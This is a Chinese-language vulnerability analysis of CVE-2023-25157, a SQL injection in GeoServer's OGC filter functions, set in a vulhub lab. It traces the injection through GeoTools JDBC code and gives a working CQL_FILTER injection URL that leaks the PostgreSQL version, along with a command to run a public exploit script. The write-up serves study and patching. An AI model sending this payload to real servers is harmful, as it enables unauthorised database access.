漏洞介绍
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。
漏洞范围
GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2
漏洞靶场
使用vulhub的靶场:
使用环境为GeoServer 2.22.1
vulhub-master/geoserver/CVE-2023-25157/
启动靶场环境:
1 | docker-compose up -d |
环境启动后,访问 http://your-ip:8080/geoserver查看到GeoServer的默认页面。
漏洞原理
这里以Geoserver 2.21.3进行分析
由于存在多个注入点,在这里以 strStartsWith 作为案例进行分析,将项目导入 IDEA,开启 DEBUG 调试,下断点定位到 org.geotools.jdbc 下的 getReaderInternal 函数

在查询之前 this.getDataStore().getConnection(this.getState()); 会执行 select now() 判断是否能正常连接数据库。
继续跟进到 selectSQL 中

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3467-L3485(需用Maven下载依赖包)
在 selectSQL 函数中 selectColumns 会对数据库中的字段进行遍历,并拼接出 SQL 语句

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3543-L3564(需用Maven下载依赖包)
拼接相关函数如下:

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\SQLDialect.class#L459-L475(需用Maven下载依赖包)

C:\Users\LENOVO.m2\repository\org\geotools\jdbc\gt-jdbc-postgis\27.3\gt-jdbc-postgis-27.3.jar!\org\geotools\data\postgis\GeometryColumnEncoder.class#L43-L57(需用Maven下载依赖包)

C:\Users\LENOVO.m2\repository\org\geotools\jdbc\gt-jdbc-postgis\27.3\gt-jdbc-postgis-27.3.jar!\org\geotools\data\postgis\GeometryColumnEncoder.class#L26-L41(需用Maven下载依赖包)
拼接完成后 SQL 语句如下:
1 | SELECT "gid","bin",encode(ST_AsEWKB("the_geom"), 'base64') as "the_geom" FROM "public"."nyc_buildings" WHERE |
接下来是对 filter 的处理

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\data\jdbc\FilterToSQL.class#L306-L311(需用Maven下载依赖包)
在 filter 中将我们输入的 CQL_FILTER 转换成 SQL 后语句后拼接到 WHERE 后面

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCDataStore.class#L3604-L3628(需用Maven下载依赖包)
因此最后拼接出来的 SQL 语句如下:
1 | SELECT "gid","bin",encode(ST_AsEWKB("the_geom"), 'base64') as "the_geom" FROM "public"."nyc_buildings" WHERE ("bin"::text LIKE 'x') = true and 1=(SELECT CAST ((SELECT version()) AS INTEGER)) -- %') = true |
在 JDBCFeatureReader 中由 executeQuery 执行 SQL 语句

C:\Users\LENOVO.m2\repository\org\geotools\gt-jdbc\27.3\gt-jdbc-27.3-sources.jar!\org\geotools\jdbc\JDBCFeatureReader.class#L130-L154(需用Maven下载依赖包)
总结一下:org.geotools.jdbc 下的 getReaderInternal() 函数对用户输入的查询进出处理,进一步调用 selectSQL 生成对应数据库的 SQL 查询语句,生成数据库的查询语句后,会对判断是否存在 CQL_FILTER 查询条件,如果是存在则开始处理用户输入的 CQL_FILTER 条件,由 encodeToString(Filter filter) 将 CQL_FILTER 转换为 SQL 语句,再由 FilterToSQL filter 拼接到 WHETE 后面,最后 JDBCFeatureReader 的 this.runQuery 执行带有注入的 SQL 语句,完成注入。
最终的整个漏洞的调用栈如下:
1 | <init>:153, JDBCFeatureReader (org.geotools.jdbc) |
漏洞复现
在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下:
- Workspace name:
vulhub - Data store name:
pg - Feature type (table) name:
example - One of attribute from feature type:
name
利用这些已知参数,发送如下URL即可触发SQL注入漏洞:
1 | http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true |

可见,已经使用SQL注入获取到了目标服务器PostgreSQL的版本。
exp
charis3306/CVE-2023-25157: CVE-2023-25157 exp (github.com)
1 | python exp.py http://192.168.159.132:8080 |

访问生成的payload url

成功看到版本
参考
https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2023-25157/README.zh-cn.md
原创Paper | GeoServer SQL 注入漏洞分析(CVE-2023-25157)-腾讯云开发者社区-腾讯云 (tencent.com)
[GeoServer SQL 注入漏洞分析(CVE-2023-25157) | Ky不是枕木 (kylinxin.github.io)](https://kylinxin.github.io/2023/12/10/GeoServer SQL 注入漏洞分析(CVE-2023-25157) 99fa857ab6de4ee5a6af2eb1bee9437c/#四-影响版本)